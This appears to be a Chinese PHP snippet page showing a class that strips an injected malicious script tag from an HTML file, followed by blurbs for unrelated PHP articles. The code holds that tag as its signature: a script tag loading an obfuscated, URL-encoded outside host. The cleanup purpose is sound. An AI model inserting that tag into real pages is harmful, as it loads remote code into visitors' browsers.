php 清除网页病毒的方法

yipeiwu_com6年前PHP代码库
<?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒

相关文章

snoopy 强大的PHP采集类使用实例代码

下载地址: https://www.jb51.net/codes/33397.html Snoopy的一些特点: 1抓取网页的内容 fetch 2 抓取网页的文本内容 (去除HTML标签...

PHP处理Oracle的CLOB实例

本文实例简述了PHP处理Oracle的CLOB的方法。分享给大家供大家参考。具体方法如下: 1. 写入数据   在使用PDO的预处理方法时,如果使用bindParam()等而不...

PHP实现的杨辉三角求解算法分析

PHP实现的杨辉三角求解算法分析

本文实例讲述了PHP实现的杨辉三角求解算法。分享给大家供大家参考,具体如下: ♥ 前言 对于 杨辉三角 是什么的问题,请参考百度百科的详细解释: 杨辉三角 杨辉三角,是二项...

PHP微信支付功能示例

本文实例讲述了PHP微信支付功能。分享给大家供大家参考,具体如下:微信开发SDK:文中用的是php_sdk_v3.0.9 :https://pay.weixin.qq.com/wiki/d...

php基于协程实现异步的方法分析

本文实例讲述了php基于协程实现异步的方法。分享给大家供大家参考,具体如下: github上php的协程大部分是根据这篇文章实现的:http://nikic.github.io/2012...